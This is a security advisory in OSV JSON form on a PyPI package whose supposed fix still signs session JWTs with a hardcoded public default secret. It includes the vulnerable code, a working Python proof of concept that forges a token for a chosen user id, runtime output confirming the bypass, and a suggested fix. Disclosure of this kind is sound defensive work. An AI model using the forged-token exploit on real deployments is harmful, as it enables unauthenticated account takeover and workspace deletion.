{"id":"PYSEC-2026-3525","summary":"praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)","details":"- Affected: praisonai-platform (PyPI) \u003c= 0.1.4 — including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py\n\n- CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -\u003e CWE-287 (Improper Authentication)\n\n## Overview\n\nGHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform's JWT signing secret defaulted to the hardcoded literal \"dev-secret-change-me\", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != \"dev\", but PLATFORM_ENV defaults to \"dev\"). That advisory declares the issue patched in \u003e= 0.1.4. **It is not.** The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to \"dev-secret-change-me\" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user — including a workspace owner.\n\n## Impact\n\nAny deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key \"dev-secret-change-me\". The package's documented entry point — `python -m praisonai_platform --host 0.0.0.0 --port 8000` (equivalently `uvicorn praisonai_platform.api.app:app --host 0.0.0.0`) — sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.\n\nConsequences:\n\n- **Complete authentication bypass (unauthenticated).** Knowing only the public default secret read from source, an attacker mints HS256({\"sub\": \u003cuser id\u003e, \"email\": …, \"exp\": \u003cfuture\u003e}, \"dev-secret-change-me\"). The platform's own verifier accepts it and returns an authenticated identity for the attacker-chosen sub — no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.\n\n- **Workspace-owner takeover (when a target owner's id is known).** Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner's id — which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).\n\n- **Resource destruction / lock-out (A:H).** Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members — irrecoverable denial of the workspace to its rightful users.\n\n- **Affected population:** every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 — the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.\n\nPR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner's user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.\n\n## Technical Details\n\nAll references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical — sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout — so the patched release and current main carry the same defect verbatim.\n\n**1. Module-load guard is default-open (services/auth_service.py:25-34).**\n\n```python\nDEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\nif JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe raise fires only when PLATFORM_ENV != \"dev\". But os.environ.get(\"PLATFORM_ENV\", \"dev\") defaults to \"dev\", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly — no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and (\"dev\" != \"dev\") = False; the guard does not fire and JWT_SECRET stays \"dev-secret-change-me\".\n\n**2. The 0.1.4 \"fix\" duplicated the same default-open guard (services/auth_service.py:114-128).** Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:\n\n```python\ndef _issue_token(self, user: User) -\u003e str:\n    if JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n        raise RuntimeError(\"Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev\")\n    ...\n    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)   # signs with the default secret\n```\n\nGHSA-3qg8 states the intended fix is to \"fail-closed at import time when the secret is the default, regardless of any environment variable.\" HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != \"dev\" condition that is false by default. The advisory's own patch threshold (\u003e= 0.1.4) is therefore incorrect — 0.1.4 is still vulnerable.\n\n**3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -\u003e api/deps.py:28-73).**\n\n```python\ndef _verify_token(self, token):\n    payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])   # default secret; alg pinned; exp checked\n    return AuthIdentity(id=payload[\"sub\"], type=\"user\", email=payload.get(\"email\"), name=payload.get(\"name\"))\n```\n\nget_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).\n\nThe cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.\n\n## Reproduction\n\npraisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package's own AuthService._verify_token.\n\n```bash\nmkdir poc && cd poc\npip install --target ./pkgs praisonai-platform==0.1.4 PyJWT\npython3 poc.py\n```\n\n```python\n# poc.py\nimport os, sys\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None)   # default deployment: secret not set\nos.environ.pop(\"PLATFORM_ENV\", None)          # default deployment: env not set -\u003e guard default-open\nsys.path.insert(0, \"./pkgs\")\n\nfrom datetime import datetime, timedelta, timezone\nimport jwt\n\nVICTIM_SUB = \"11111111-2222-4333-8444-deadbeefcafe\"   # a target user/owner uuid4\nnow = datetime.now(timezone.utc)\nforged = jwt.encode(\n    {\"sub\": VICTIM_SUB, \"email\": \"victim@target\", \"name\": \"victim\",\n     \"iat\": now, \"exp\": now + timedelta(hours=1)},\n    \"dev-secret-change-me\", algorithm=\"HS256\",       # the public hardcoded default\n)\n\nfrom praisonai_platform.services import auth_service as A\nprint(\"package JWT_SECRET (env unset) =\", repr(A.JWT_SECRET), \"| == default?\", A.JWT_SECRET == \"dev-secret-change-me\")\nidentity = A.AuthService.__new__(A.AuthService)._verify_token(forged)   # the package's own verifier\nprint(\"package _verify_token(forged) =\", identity)\nassert identity is not None and identity.id == VICTIM_SUB\nprint(\"RESULT: CONFIRMED — forged token accepted as victim\")\n```\n\n### End-to-end (runtime) verification\n\nObserved output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 \"patched\" release):\n\n```text\npackage JWT_SECRET (env unset) = 'dev-secret-change-me' | == default? True\npackage _verify_token(forged) = AuthIdentity(id='11111111-2222-4333-8444-deadbeefcafe', type='user', workspace_id=None, roles=[], email='victim@target', name='victim', metadata={})\nRESULT: CONFIRMED — forged token accepted as victim\n```\n\nThis is the package's own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.\n\n### Default-open contrast\n\nSetting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import — demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:\n\n```bash\nPLATFORM_ENV=prod python3 -c \"import praisonai_platform.services.auth_service\"\n```\n\n```text\n  File \".../praisonai_platform/services/auth_service.py\", line 31, in \u003cmodule\u003e\n    raise RuntimeError(\nRuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.\n```\n\nThe guard can fail closed — it simply does not in the default (PLATFORM_ENV unset → \"dev\") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.\n\n## Suggested Fix\n\nFail closed, independent of PLATFORM_ENV:\n\n```python\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nif not JWT_SECRET:\n    raise RuntimeError(\"PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.\")\nif JWT_SECRET == \"dev-secret-change-me\":\n    raise RuntimeError(\"PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.\")\n```\n\n- Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default — do **not** gate that check on PLATFORM_ENV, whose default value (\"dev\") is precisely what disables the check.\n\n- Apply the same to the duplicated guard in _issue_token.\n\n- Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.\n\n## Disclosure Timeline\n\n- 2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package's own AuthService._verify_token.\n\n- 2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).\n\n## References\n\n- Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 — \"praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me … when PLATFORM_ENV is unset\" (Critical, 9.8).\n\n- Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).\n\n- Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = \"0.1.4\"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).\n\n- Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total — this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) — alongside several High/Medium IDOR advisories.","aliases":["CVE-2026-57148","GHSA-f38v-77qj-h4jq"],"modified":"2026-07-23T15:00:19.361976210Z","published":"2026-07-23T11:41:43.105311Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f38v-77qj-h4jq"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai-platform"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f38v-77qj-h4jq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57148"}],"affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai-platform/PYSEC-2026-3525.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}